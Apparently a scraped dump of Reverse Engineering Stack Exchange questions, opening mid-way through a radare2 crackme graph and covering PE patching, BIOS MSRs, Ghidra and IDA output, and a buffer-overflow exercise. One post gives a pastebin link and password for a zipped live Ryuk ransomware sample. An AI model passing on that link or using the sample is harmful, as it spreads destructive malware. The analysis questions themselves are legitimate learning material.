+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | ; [0x1645e:4]=-1                                 |
+                                                              | mov dword [eax], 0x1645e                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov ebx, dword [eax + 4]                         |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 8                                              |
+                                                              | push 8                                           |
+                                                              | ;  void *malloc(size_t size)                     |
+                                                              | call sym.imp.malloc;[oc]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | mov dword [ebx + 4], eax                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | ; [0x16465:4]=-1                                 |
+                                                              | mov dword [eax], 0x16465                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov ebx, dword [eax + 4]                         |
+                                                              | sub esp, 0xc                                     |
+                                                              | ; 8                                              |
+                                                              | push 8                                           |
+                                                              | ;  void *malloc(size_t size)                     |
+                                                              | call sym.imp.malloc;[oc]                         |
+                                                              | add esp, 0x10                                    |
+                                                              | mov dword [ebx + 4], eax                         |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | ; [0xfffe9bf8:4]=-1                              |
+                                                              | mov dword [eax], 0xfffe9bf8                      |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov eax, dword [eax + 4]                         |
+                                                              | mov dword [eax + 4], 0                           |
+                                                              | mov eax, dword [var_28h]                         |
+                                                              | mov dword [var_30h], eax                         |
+                                                              | jmp 0x80486d7                                    |
+                                                              `--------------------------------------------------'
+                                                                  v
+                                                                  |
+                                                                  '---------.
+                                     .----------------------------------------.
+                                     |                                      | |
+                                     |                                .-----------------------------------.
+                                     |                                |  0x80486d7 [oi]                   |
+                                     |                                | ; CODE XREF from main @ 0x80486a5 |
+                                     |                                | cmp dword [var_30h], 0            |
+                                     |                                | jne 0x80486a7                     |
+                                     |                                `-----------------------------------'
+                                     |                                      t f
+                                     |                                      | |
+                                     |    .---------------------------------' |
+                                     |    |                                   '-----------------------------.
+                                     |    |                                                                 |
+                                     |.----------------------------------------.                        .---------------------------.
+                                     ||  0x80486a7 [of]                        |                        |  0x80486dd [oj]           |
+                                     || mov eax, dword [var_30h]               |                        | cmp dword [var_34h], 0    |
+                                     || mov ebx, dword [eax]                   |                        | je 0x80486f5              |
+                                     || mov eax, dword [var_38h]               |                        `---------------------------'
+                                     || mov eax, dword [ebp + eax*4 - 0x24]    |                                f t
+                                     || sub esp, 0xc                           |                                | |
+                                     || push eax                               |                                | |
+                                     || call sym.encrypt;[oe]                  |                                | |
+                                     || add esp, 0x10                          |                                | |
+                                     || cmp ebx, eax                           |                                | |
+                                     || je 0x80486ca                           |                                | |
+                                     |`----------------------------------------'                                | |
+                                     |        f t                                                               | |
+                                     |        | |                                                               | |
+                                     |        | '-------------------------------.                               | |
+                                     |        '--.                              |                               | |
+                                     |           |                              |                               | '---------.
+                                     |           |                              |           .-------------------'           |
+                                     |           |                              |           |                               |
+                                     |       .---------------------------.      |       .---------------------------.   .---------------------------.
+                                     |       |  0x80486c3 [og]           |      |       |  0x80486e3 [ol]           |   |  0x80486f5 [om]           |
+                                     |       | mov dword [var_34h], 0    |      |       | sub esp, 0xc              |   | sub esp, 0xc              |
+                                     |       `---------------------------'      |       | ; 0x80487f7               |   | ; 0x8048800               |
+                                     |           v                              |       | ; ""Correct!""              |   | ; ""Incorrect!""            |
+                                     |           |                              |       | push str.Correct          |   | push str.Incorrect        |
+                                     |           |                              |       | ; int puts(const char *s) |   | ; int puts(const char *s) |
+                                     |           |                              |       | call sym.imp.puts;[ok]    |   | call sym.imp.puts;[ok]    |
+                                     |           |                              |       | add esp, 0x10             |   | add esp, 0x10             |
+                                     |           |                              |       | jmp 0x8048705             |   `---------------------------'
+                                     |           |                              |       `---------------------------'       v
+                                     |           |                              |           v                               |
+                                     |           |                              |           |                               |
+                                     |           '----------.                   |           |                               |
+                                     |                      |                   |           '-------------.                 |
+                                     |                      |                   |                         | .---------------'
+                                     |                      | .-----------------'                         | |
+                                     |                      | |                                           | |
+                                     |                .-----------------------------.               .-----------------------------------.
+                                     |                |  0x80486ca [oh]             |               |  0x8048705 [on]                   |
+                                     |                | add dword [var_38h], 1      |               | ; CODE XREF from main @ 0x80486f3 |
+                                     |                | mov eax, dword [var_30h]    |               | mov eax, 0                        |
+                                     |                | mov eax, dword [eax + 4]    |               | mov ecx, dword [var_ch]           |
+                                     |                | mov dword [var_30h], eax    |               | xor ecx, dword gs:[0x14]          |
+                                     |                `-----------------------------'               | je 0x804871b                      |
+                                     |                    v                                         `-----------------------------------'
+                                     |                    |                                                 f t
+                                     |                    |                                                 | |
+                                     `--------------------'                                                 | |
+                                                                                                            | '-----------------.
+                                                                                      .---------------------'                   |
+                                                                                      |                                         |
+                                                                                  .------------------------------------.    .-----------------------.
+                                                                                  |  0x8048716 [op]                    |    |  0x804871b [oq]       |
+                                                                                  | ; void __stack_chk_fail(void)      |    | lea esp, [var_8h]     |
+                                                                                  | call sym.imp.__stack_chk_fail;[oo] |    | pop ecx               |
+                                                                                  `------------------------------------'    | pop ebx               |
+                                                                                                                            | pop ebp               |
+                                                                                                                            | lea esp, [ecx - 4]    |
+                                                                                                                            | ret                   |
+
+ +How to decrypt the password from ""call sym.encrypt;[oe]"". When I use the breakpoints (radare2) the hex values of the registers are encrypted (i need the value of ebx shown in the image).And what is the significance of the malloc function? Is there non primitive data structure used in this program? +" +"['disassembly', 'windows', 'executable', 'x64dbg', 'patching']"," Title: Find a instruction in a binary file (PE) based on a virtual address of a string referenceBody: English is not my first language, so I'm sorry if my text isn't so clear. + +I'm trying to program an automatic patcher for a PE binary that should work for multiple versions of this executable. For that to work, I need to find the bytes of the instruction which references a specific static string. I need to find the bytes in file for the LEA instruction highlighted in red below: + + + +I can't simply do a pattern search for ""48 8D 15 C8 50 DA 00"", because the last four bytes of the opcode change between executable versions, as the string address varies. + +Finding the string offset in the file is pretty easy with an hex editor, and translating that offset into a virtual address is also very straightforward and I got that working already (converting from file offset to VA is yielding the 0x140FDE580 correctly). + +The problem is actually going from this virtual address into the binary opcode of the LEA address operand (C8 50 DA 00). Since this address is relative to the current instruction position, is there any more optimized way of searching for this instruction other than iterate between each instruction, calculate the distance between EIP and the string VA and see if the current instruction address this VA offset? + +Thanks in advance! +" +"['x86-64', 'bios']"," Title: Undocumented Model-Specific Register on Broadwell MicroarchitectureBody: I'm trying to reverse the BIOS of a machine to learn something. +The bigger problem I'm facing is that during early initialization, the code is making heavy usage of MSRs, and most of the time, I found those not documented. + +In a specific point of this BIOS, as an example, I found this function: + +
0000F575                    sub_F575        proc near               
+0000F575 60                                 pusha
+0000F576 B8 01 00 00 00                     mov     eax, 1
+0000F57B 0F A2                              cpuid
+0000F57D C1 C8 04                           ror     eax, 4
+0000F580 66 3D 6F 30                        cmp     ax, 306Fh       ; Haswell
+0000F584 74 06                              jz      short HaswellBroadwellStuffs
+0000F586 66 3D 6F 40                        cmp     ax, 406Fh       ; Broadwell
+0000F58A 75 0E                              jnz     short NoNeed4IvyBridge
+0000F58C
+0000F58C                    HaswellBroadwellStuffs:
+0000F58C B9 FC 01 00 00                     mov     ecx, 1FCh
+0000F591 0F 32                              rdmsr
+0000F593 0D 01 00 20 00                     or      eax, 200001h
+0000F598 0F 30                              wrmsr
+0000F59A
+0000F59A                    NoNeed4IvyBridge:
+0000F59A 61                                 popa
+0000F59B E8 02 06 00 00                     call    DummyProc_1
+0000F5A0 C3                                 retn
+0000F5A0                    sub_F575        endp
+
+ +Looking thorough the Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 4: Model-Specific Registers I found no evidence this 0x1fc register existence for Haswell, Broadwell or IvyBridge this BIOS is for. +Instead few documentation on this register exists for different Intel versions: + + + +So my question: If anyone has info on the register I've mentioned, that would be nice if he/her wants to share with me; more important, I would appreciate if anyone would direct me on a reliable source of info on this topic other than Intel official manuals. +" +"['arm', 'ios', 'mach-o']"," Title: Mach-O ARM64 using literal values instead of a frame pointer (BP) registerBody: I'm investigating an iOS app Mach-O binary in IDA and noticed it's using a fixed constant as an offset to the SP to denote the start of the stack frame instead of a register. Is this normal? ARM already has so many registers at its disposal this seems like a strange optimization. Are the instructions shorter in this case, or what's the purpose of it? +" +"['windows', 'c++']"," Title: Possible to get address of DRIVER OBJECT programmatically?Body: I am looking into getting the address of a dispatch routine. For example, I can get it with windbg easily like so: + +
0: kd> !drvobj HEVD 2
+Driver object (ffffa70752fdbe30) is for:
+ \Driver\HEVD
+
+DriverEntry:   fffff8066262a134 HEVD
+DriverStartIo: 00000000 
+DriverUnload:  fffff80662625000 HEVD
+AddDevice:     00000000 
+
+Dispatch routines:
+[00] IRP_MJ_CREATE                      fffff80662625058    HEVD+0x85058
+--snipped--
+[0e] IRP_MJ_DEVICE_CONTROL              fffff80662625078    HEVD+0x85078
+--snipped--
+
+ +The IRP_MJ_DEVICE_CONTROL is the routine I am interested in getting and I am not having any luck finding a way to do so. Any knudges or help is much appreciated. + +Thank you in advance! + +Edit: I would like to get by either Python or CPP +" +"['disassembly', 'assembly', 'malware']"," Title: How to Calculate ds PointerBody: How do I calculate the location of the string in this sample located at offset 0x1CAD8? + +The instruction at 0x140001A97 in the sample is: + +
0x140001A97   F2 0F1005 39C60100   movsd xmm0, qword [rip + str..exe]
+
+ +The opcode has 0x39C60100 which is 0x1C639. If I add that to rip, I don't land on the address of the string: + +
0x140001A97 -> offset = 0xE97
+
+ +
0xE97 + 0x8 + 0x1C639 = 0x1D4D8
+
+ +The string's offset is 0x1CAD8 not 0x1D4D8 + +What am I missing? + +The sample is Ryuk: +18faf22d7b96bfdb5fd806d4fe6fd9124b665b571d89cb53975bc3e23dd75ff1 +If you need a copy of the sample, a base64 encoded passworded zip archive with the sample is located here: +https://pastebin.com/aKskMXY7 + +The password for that zip file is reseinfected. If you need something to decode base64 quickly, use this cyberchef recipe: + +
From_Base64('A-Za-z0-9+/=',true)
+
+" +['firmware']," Title: Found a lot of function names in firmware dump. Is it possible to recreate original code?Body: I'm using IDA PRO 5.0 Free to analyze firmware from a camcorder (mn103 processor). I'm a complete newbie in reverse engineering so it's hard for me to learn how it works only using assembly code. I found out, there are a lot of original function names left in the dump: + + +Is it possible to get C code with original function names from this? I don't have Hex Rays decompiler tho. +" +"['assembly', 'arm']"," Title: Why is U-Boot changing this bit marked as ""DO NOT CHANGE""?Body: While reverse engineering very early hardware initialization code of an old S3C6410 based tablet, I came across an instruction that changes a bit that the user manual (relevant info on pg. 3-50) states should not be changed. This is stage bl1 code that executes out of the 4 kilobyte ""steppingstone"" SRAM area. + +Note that the following code can't be directly assembled, it's just the output of Ida pro copied into a text editor, so that I can manipulate it more easily. + +
0C000914 init_clocks                     
+0C000914 LDR     R0, dword_C000A80       ;r0 <- 0x7E00F000
+0C000918 LDR     R1, [R0,#0x900]         ;r1 <- [0x7E00F900], OTHERS register of system controller
+0C00091C MOV     R2, #0x40               ;r2 <- 0x40
+0C000920 ORR     R1, R1, R2              ;set bit 6 of r1 
+0C000924 STR     R1, [R0,#0x900]         ;APLL selected as SYS CLOCK
+0C000928 NOP                             ;nop block, probably necessary to wait after changing SYS CLOCK
+0C00092C NOP                             ;No Operation
+0C000930 NOP                             ;No Operation
+0C000934 NOP                             ;No Operation
+0C000938 NOP                             ;No Operation
+0C00093C MOV     R2, #0x80               ;r2 <- 0x80
+0C000940 ORR     R1, R1, R2              ;set bit 7 of r1
+0C000944 STR     R1, [R0,#0x900]         ;SYNCMODE bit set to synchronous mode
+0C000948 syncack_delay                     
+0C000948 LDR     R1, [R0,#0x900]         ;r1 <- contents of OTHERS register
+0C00094C MOV     R2, #0xF00              ;r2 <- 0xf00, SYNCACK mask
+0C000950 AND     R1, R1, R2              ;clear all but SYNCACK bits 11:8
+0C000954 CMP     R1, #0xF00              ;are all SYNCACK bits set
+0C000958 BNE     syncack_delay           ;if not, loop back
+0C00095C MOV     R1, #0xFF00             ;r1 <- 0xff00
+0C000960 ORR     R1, R1, #0xFF           ;r1 <- 0xffff
+0C000964 STR     R1, [R0]                ;[0x7E00F000] <- r1, APLL_LOCK register
+                                         ;pll_locktime of APLL_LOCK: 0xffff
+
+0C000968 STR     R1, [R0,#4]             ;pll_locktime of MPLL_LOCK: 0xffff
+0C00096C STR     R1, [R0,#8]             ;pll_locktime of EPLL_LOCK: 0xffff
+0C000970 LDR     R1, [R0,#0x28]          ;r1 <- [0x7e00f028], CLK_DIV2 register
+0C000974 BIC     R1, R1, #0x70000        ;clear bits 18:16
+0C000978 ORR     R1, R1, #0x30000        ;set bits 17:16
+0C00097C STR     R1, [R0,#0x28]          ;uart clock divider ratio: 3
+0C000980 LDR     R1, [R0,#0x20]          ;r1 <- [0x7e00f020], CLK_DIV0 register
+0C000984 BIC     R1, R1, #0x30000        ;clear bits 17:16
+0C000988 BIC     R1, R1, #0xFF00         ;clear bits 15:8
+0C00098C BIC     R1, R1, #0xFF           ;clear bits 7:0
+0C000990 LDR     R2, dword_C000A84       ;r2 <- 0x3310
+0C000994 ORR     R1, R1, R2              ;set bits 13:12, 8:9, and 4
+0C000998 STR     R1, [R0,#0x20]          ;PCLK ratio: 3, HCLKX2 ratio: 1, HCLK ratio: 1, MPLL ratio: 1, ARM ratio: 0
+0C00099C LDR     R1, dword_C000A88       ;r1 <- 0x810A0301
+0C0009A0 STR     R1, [R0,#0xC]           ;[0x7e00f00c] <- r1, APLL_CON register 
+                                         ;APLL S divide: 1, APLL P divide: 3, APLL M divide: 266, 0x10a, APLL control enabled
+
+0C0009A4 LDR     R1, dword_C000A88       ;r1 <- 0x810A0301
+0C0009A8 STR     R1, [R0,#0x10]          ;[0x7e00f010] <- r1, MPLL_CON register 
+                                         ;MPLL S divide: 1, MPLL P divide: 3, MPLL M divide: 266, 0x10a, MPLL control enabled
+
+0C0009AC LDR     R1, dword_C000A8C       ;r1 <- 0x80200203
+0C0009B0 STR     R1, [R0,#0x14]          ;[0x7e00f014] <- r1, EPLL_CON0 register
+                                         ;EPLL S divide: 3, EPLL P divide: 1, EPLL M divide: 32, 0x20, EPLL control enabled
+
+0C0009B4 MOV     R1, #0                  ;r1 <- 0
+0C0009B8 STR     R1, [R0,#0x18]          ;[0x7e00f018] <- r1, EPLL_CON1 register, EPLL K divide: 0 
+0C0009BC LDR     R1, [R0,#0x1C]          ;r1 <- [0x7e00f018], CLK_SRC register
+0C0009C0 LDR     R2, dword_C000A90       ;r2 <- 0x2007
+0C0009C4 ORR     R1, R1, R2              ;set bits 13, 2:0
+0C0009C8 STR     R1, [R0,#0x1C]          ;uart clock source is MPLL, EPLL_SEL: 1, MPLL_SEL: 1, APLL_SEL: 1
+0C0009CC MOV     R1, #0x10000            ;r1 <- 65536, loop counter
+0C0009D0 dec_64k                     
+0C0009D0 SUBS    R1, R1, #1              ;decrement r1, set flags
+0C0009D4 BNE     dec_64k                 ;loop back until r1 = 0 
+0C0009D4
+0C0009D8 LDR     R1, [R0,#0x900]         ;r1 <- OTHERS register
+0C0009DC ORR     R1, R1, #0x20           ;set bit 5
+0C0009E0 STR     R1, [R0,#0x900]         ;set bit 5 of OTHERS register, marked as ""DO NOT CHANGE"" ???
+0C0009E4 MOV     PC, LR                  ;return to init_hardware subroutine
+
+0C0009E8 unrelated_routine                 
+0C0009E8 LDR     R0, dword_C000A54       
+0C0009EC LDR     R1, dword_C000A94       
+0C0009F0 STR     R1, [R0]                
+0C0009F4 LDR     R0, dword_C000A70       
+0C0009F8 MOV     R1, #0                  
+0C0009FC STR     R1, [R0,#8]             
+0C000A00 STR     R1, [R0,#0xC]           
+0C000A04 MOV     R1, #3                  
+0C000A08 STR     R1, [R0]                
+0C000A0C LDR     R1, dword_C000A98       
+0C000A10 STR     R1, [R0,#4]             
+0C000A14 MOV     R1, #0x22               
+0C000A18 STR     R1, [R0,#0x28]          
+0C000A1C LDR     R1, dword_C000A9C       
+0C000A20 STR     R1, [R0,#0x2C]          
+0C000A24 LDR     R1, dword_C000AA0       
+0C000A28 STR     R1, [R0,#0x20]          
+0C000A2C MOV     PC, LR                  
+0C000A30 LDR     R0, dword_C000AA4       
+0C000A34 LDR     R1, [R0]                
+0C000A38 ORR     R1, R1, #0x70           
+0C000A3C ORR     R1, R1, #0x7700         
+0C000A40 STR     R1, [R0]                
+0C000A44 LDR     R1, [R0,#4]             
+0C000A48 ORR     R1, R1, #3              
+0C000A4C STR     R1, [R0,#4]             
+0C000A50 MOV     PC, LR                  
+
+literal_pool
+0C000A54 dword_C000A54 DCD 0x7F008000    
+0C000A58 dword_C000A58 DCD 0x55540000    
+0C000A5C dword_C000A5C DCD 0x55555555    
+0C000A60 dword_C000A60 DCD 0x7F008924    
+0C000A64 dword_C000A64 DCD 0x71200000    
+0C000A68 dword_C000A68 DCD 0x71300000    
+0C000A6C dword_C000A6C DCD 0x7E00F904    
+0C000A70 dword_C000A70 DCD 0x7F005000    
+0C000A74 dword_C000A74 DCD 0x4B4B4B4B    
+0C000A78 dword_C000A78 DCD 0x7E00F908    
+0C000A7C dword_C000A7C DCD 0x7E00FA00    
+0C000A80 dword_C000A80 DCD 0x7E00F000    
+0C000A84 dword_C000A84 DCD 0x3310        
+0C000A88 dword_C000A88 DCD 0x810A0301    
+0C000A8C dword_C000A8C DCD 0x80200203    
+0C000A90 dword_C000A90 DCD 0x2007        
+0C000A94 dword_C000A94 DCD 0x220022      
+0C000A98 dword_C000A98 DCD 0xE45         
+0C000A9C dword_C000A9C DCD 0x1FFF        
+0C000AA0 dword_C000AA0 DCD 0x4F4F4F4F    
+0C000AA4 dword_C000AA4 DCD 0x70200000    
+
+ +The OTHERS register of the system controller is loaded into r1, logically OR'd with 0x20, setting bit 5, then written back into OTHERS register. Changing a bit that apparently shouldn't be changed. + +The bootloader is never verified, so it can be overwritten in flash at will. This is a rooted android tablet, so I used the DD command to swap the STR R1, [R0,#0x900] instruction at SRAM location 0x0C0009E0 out with a NOP. The tablet still boots. So am I interpretting the instruction incorrectly? (just started learning arm assembly) Is this just a harmless bug? Or could these ""DO NOT CHANGE"" bits have some hidden functionality? +" +"['firmware', 'ghidra', 'superh']"," Title: Odd jsr destination in SuperH disassembly w/ GhidraBody: I'm reverse engineering firmware from an old sampler/groovebox that uses a Hitachi SuperH-3 7706 processor, making great progress. Out of the 8M or so of code, everything looks and lines up correctly. However, in a few spots I see some stuff that makes me scratch my head and I'm not sure what is going on... + +This function looks a lot like another one in a different area, which eventually calls memcpy(). This version of it makes a jsr to the middle of a function (0x8C010D20) and doesn't make a lot of sense given what is being stuffed into the function argument registers (see 0x80018e82 for actual jsr). And the 0x400B is definitely a jsr r0. + +Here is the disassembly of the caller and the callee. What am I missing here? + +
-- Caller --
+                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     undefined __stdcall rom_copy_to_ram_maybe(int param_1)
+     undefined         r0:1           <RETURN>
+     int               r4:4           param_1
+     undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     80018e70(*)
+     undefined4        Stack[-0x8]:4  local_8                                 XREF[2]:     80018e72(*),
+                                                                                           80018e88(*)
+                     rom_copy_to_ram_maybe
+80018e70 2f e6           mov.l      r14,@-r15=>local_4
+80018e72 4f 22           sts.l      pr,@-r15=>local_8
+80018e74 24 48           tst        param_1,param_1
+80018e76 d5 06           mov.l      @(DAT_80018e90,pc),r5=>DAT_a0400000              = A0400000h
+80018e78 8f 01           bf/s       LAB_80018e7e
+80018e7a 6e f3           _mov       r15,r14
+80018e7c d5 05           mov.l      @(DAT_80018e94,pc),r5=>SUB_a0000000              = A0000000h
+                     LAB_80018e7e                                    XREF[1]:     80018e78(j)
+80018e7e d0 06           mov.l      @(->FUN_8c010d20,pc),r0                          = 8c010d20
+80018e80 d4 06           mov.l      @(PTR_DAT_80018e9c,pc),param_1=>DAT_8d800000     = 8d800000
+80018e82 40 0b           jsr        @r0=>FUN_8c010d20                                TODO: this makes no sense... it'
+80018e84 00 09           _nop
+80018e86 6f e3           mov        r14,r15
+80018e88 4f 26           lds.l      @r15=>local_8+,pr
+80018e8a 00 0b           rts
+80018e8c 6e f6           _mov.l     @r15+,r14
+80018e8e 00 09           nop
+                     DAT_80018e90                                    XREF[2]:     rom_copy_to_ram_maybe:80018e76(R
+                                                                                  rom_copy_to_ram_maybe:80018e76(R
+80018e90 a0 40 00 00     undefined4 A0400000h
+                     DAT_80018e94                                    XREF[2]:     rom_copy_to_ram_maybe:80018e7c(R
+                                                                                  rom_copy_to_ram_maybe:80018e7c(R
+80018e94 a0 00 00 00     undefined4 A0000000h
+                     PTR_FUN_80018e98                                XREF[2]:     rom_copy_to_ram_maybe:80018e7e(R
+                                                                                  rom_copy_to_ram_maybe:80018e7e(R
+80018e98 8c 01 0d 20     addr       FUN_8c010d20
+                     PTR_DAT_80018e9c                                XREF[2]:     rom_copy_to_ram_maybe:80018e80(R
+                                                                                  rom_copy_to_ram_maybe:80018e80(R
+80018e9c 8d 80 00 00     addr       DAT_8d800000
+
+
+ +
-- Callee --
+                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     uint __stdcall FUN_8c010d10(char param_1)
+     uint              r0:4           <RETURN>
+     char              r4:1           param_1
+     undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     8c010d10(*)
+                     FUN_8c010d10                                    XREF[4]:     8c010a82(c), 8c010b14(*),
+                                                                                  8c010cec(c), 8c010d08(*)
+8c010d10 2f e6           mov.l      r14,@-r15=>local_4
+8c010d12 74 bf           add        -0x41,param_1
+8c010d14 64 4c           extu.b     param_1,param_1
+8c010d16 e1 19           mov        #0x19,r1
+8c010d18 34 16           cmp/hi     r1,param_1
+8c010d1a 8f 02           bf/s       LAB_8c010d22
+8c010d1c 6e f3           _mov       r15,r14
+8c010d1e a0 01           bra        LAB_8c010d24
+                     **************************************************************
+                     *                          FUNCTION                          *
+                     **************************************************************
+                     undefined FUN_8c010d20()
+     undefined         r0:1           <RETURN>
+                     FUN_8c010d20                                    XREF[2]:     rom_copy_to_ram_maybe:80018e82(c
+                                                                                  80018e98(*)
+8c010d20 e0 00           _mov       #0x0,r0
+                     LAB_8c010d22                                    XREF[1]:     FUN_8c010d10:8c010d1a(j)
+8c010d22 e0 01           mov        #0x1,r0
+                     LAB_8c010d24                                    XREF[1]:     FUN_8c010d10:8c010d1e(j)
+8c010d24 6f e3           mov        r14,r15
+8c010d26 00 0b           rts
+8c010d28 6e f6           _mov.l     @r15+,r14
+8c010d2a 00 09           nop
+8c010d2c 00 09           nop
+8c010d2e 00 09           nop```
+
+" +"['ida', 'disassembly', 'windows', 'debugging', 'memory']"," Title: Can GUI elements of a running program be found/located in memory?Body: Is it possible for a particular GUI element of a running program (on Windows platform) to be located in memory, such as a text element from a dialog box? For example, locating title text of a drop-down menu or text within an ""About"" popup box. +" +"['ida', 'idapython', 'idapro-sdk', 'ida-plugin']"," Title: Extracting instruction and operand information in IDA PythonBody: I am writing an IDA python plugin to identify the operands that are defined and used by every instruction. For now, I am using the canonical feature for an instruction to identify if an operand to the instruction is being used or defined. + +While it works for the most part, I'm not sure how to extract information for the following cases + +
    +
  1. Push/Pop/Retn/Call instructions that modify/use esp
  2. +
  3. Compare and branching instructions that modify the eflags registers
  4. +
+ +I could write ""if"" conditions to handle these cases but I'm wondering if there is a better way to extract information. + +Thanks +" +"['ida', 'ollydbg', 'decompilation', 'decompile']"," Title: How can one replace bitmap (image) inside exe?Body: I have an application (something like a text editor) that has a background image. +I understand how to replace text in exe file, but what about image? +I wonder how difficult and what is the way to replace such image using etc ollydbg, IDA? +" +"['ida', 'assembly', 'decompilation', 'c++', 'c']"," Title: What is, and why, ""byte[ ] + number"" in this IDA pseudocode?Body: This is a decompile of an .so file, so it originated from C or C++. Can you kindly try to explain to me what this does? + +How would one rewrite this into readable code? I don't mind any programming language. + +The loop below is strange: I think it is a for loop but it uses a byte during checking... oh no, this is so wrong. There is one thing I am sure, in the function crackMe the *two is actually a byte array. + +And what about the ++keep? and (two++)[1]? Can byte minus byte result in (_BYTE *)(two - newByte)? + +This is surely a short code but so much to analyse. + + + +
unsigned __int8 *__fastcall crackMe(unsigned __int8 *i, _BYTE *two)
+{
+  _BYTE *newByte; 
+  int flag; 
+  int rule; 
+  _BYTE *rule2; 
+  unsigned __int8 *result; 
+  int currentNumCopy; 
+  int currentNum; 
+  int keep; 
+  int forCompare; 
+  int isFinal; 
+
+  newByte = two + 1;
+  flag = (unsigned __int8)*two;
+  if ( !*two )
+    return i;
+  do
+    rule = (unsigned __int8)(two++)[1];
+  while ( rule );
+  rule2 = (_BYTE *)(two - newByte);
+  while ( 1 )
+  {
+    result = i;
+    currentNum = *i++;
+    currentNumCopy = currentNum;
+    if ( !currentNum )
+      break;
+    if ( currentNumCopy == flag)
+    {
+      if ( !rule2 )
+        return result;
+      keep = 0;
+      while ( 1 )
+      {
+        forCompare = (unsigned __int8)newByte[keep];
+        isFinal = result[keep + 1];
+        if ( !result[keep + 1] || isFinal != forCompare )
+          break;
+        if ( rule2 == (_BYTE *)++keep )
+          return result;
+      }
+      if ( isFinal == forCompare )
+        return result;
+    }
+  }
+  return 0;
+}
+
+ +My attempt to rewrite it in Java, you can rewrite it in C or C++ or C# or Python or any language you prefer: + + + +
        byte[] newByte;
+        int flag;
+        int rule; 
+        byte rule2; 
+        int result;
+        int currentNumCopy; 
+        int keep; 
+        int forCompare; 
+        int isFinal; 
+
+        newByte = two;
+        newByte[two.length + 1] = 1; //I am confused, did it convert array to integer then add 1 or add 1 to the end of array?
+
+        ByteBuffer wrapped = ByteBuffer.wrap(two); // big-endian by default
+        flag = wrapped.getInt();
+        for (int currentNum = 0; currentNumCopy == flag; currentNum++) {
+        ??? rule = ?
+
+" +"['decompilation', 'ghidra']"," Title: concat22 in ghidra decompilerBody: Some portion of code I am analyzing gets decompiled as below in ghidra: + +
if (((*puVar8 == CONCAT22(DAT_0040a37a,DAT_0040a378)) &&
+     (*(uint *)((int)puVar9 + 6) ==
+     (CONCAT22(DAT_0040a37e,DAT_0040a37c) | (int)DAT_0040a37a >> 0xf))) &&
+     ((*(short *)((int)puVar9 + 10) == 0x20 || (*(short *)((int)puVar9 + 10) == 0)))) {
+    local_2c8.PrivilegeCount = local_2c8.PrivilegeCount | 4;
+  }
+
+ +I want to understand what this CONCAT22 is. This is found at multiple places in the same function. +" +"['windbg', 'kernel-mode', 'syscall']"," Title: How to find each interrupt's line in the Interrupt Descriptor TableBody: I'm trying to find the line number of the 0f05 syscall interrupt with no success. + +I searched everywhere and couldn't find any way of doing that, it seems like this information is hard coded in the CPU (which make sense). + +My goal is to follow the debugger to the kernel code but currently I don't know which function I need to put a break point on. + +When I do ""step into"" on the syscall line it simply move to the next instruction like it is mov or something + +Thanks +" +"['x86', 'buffer-overflow']"," Title: How to make a program to read Unicode control charactersBody: I'm learning on how to cause a buffer overflow. My victim program has to read input from a file encoded with UTF-16, 2-bytes by 2-bytes, and I want to overrun the EBP with an address like 0x0012F468. +The 0xF468 part is read successfully but the program just ignores the 0x0012. + +As I researched, I found out that not only 0x0012 but also the characters from 0x0000 to 0x001F, which are ""control characters"" are ignored as well. + +My question is: How can I inject those characters as a input from a text file to my victim program? +" +"['disassembly', 'x86']"," Title: Where is the ESP after call instruction?Body: I've started learning the Reverse Engineering and when I read the Stack Operations and function invocation, there are an issue that I'm confused. +-What is the address of ESP after "pop ebp" and "retn" instruction?? +

C program

+
int __cdecl addme(short a, short b)
+{
+     return a+b;
+}
+
+

Assembly program

+
01: push ebp
+02: mov ebp , esp
+03:...
+04:movsx eax ,word ptr [ebp+8]
+05:movsx ecx ,word ptr [ebp+0Ch]
+06:add eax ,ecx
+07:...
+08:mov esp , ebp
+09:pop ebp
+10:retn
+
+As I though , esp is set to ebp in step 08 so the ESP address is right after the the first address comes inside the stack.But the step 09 makes it wrong. Help me understand this. +" +"['ida', 'windows', 'pe', 'patching']"," Title: How to add a message box to a PEBody: So, I have a ""simple"" question. I have this PE that I want to show a message box when the file is launched. How can I patch the file and make the window? Thanks! +" +"['c++', 'c#', 'dll-injection']"," Title: Writing a DLL in C# vs C++?Body: I am trying to make a client-sided anticheat which would work similar to BattlEye or GameGuard. In order to do this, I want to create a DLL which would do the cheat verification, which then I would inject to the executable of the game. + +What language should I use for the DLL? I was planning to use C#, but I've noticed that people prefer C++ for these kinds of projects. Why that? What's the downsides of using C# for a DLL? +" +"['firmware', 'flash', 'spi']"," Title: SD card microcontrollerBody: I have an SD card that I want to copy the firmware / memory from, my question is what pinouts do I connect to the SPI programmer and what are the commands to copy all of the firmware /memory. +Thank you. +" +"['python', 'crackme']"," Title: Z3 and If-logicBody: Z3 is a fantastic tool which helped me a lot! But sometimes I'm stuck on the binary code which implements custom If-logic. Recursive factorial function is good example of it: + + + +
def fact(x):
+    if x == 1:
+        return 1
+    else:
+        return x * fact(x - 1)
+
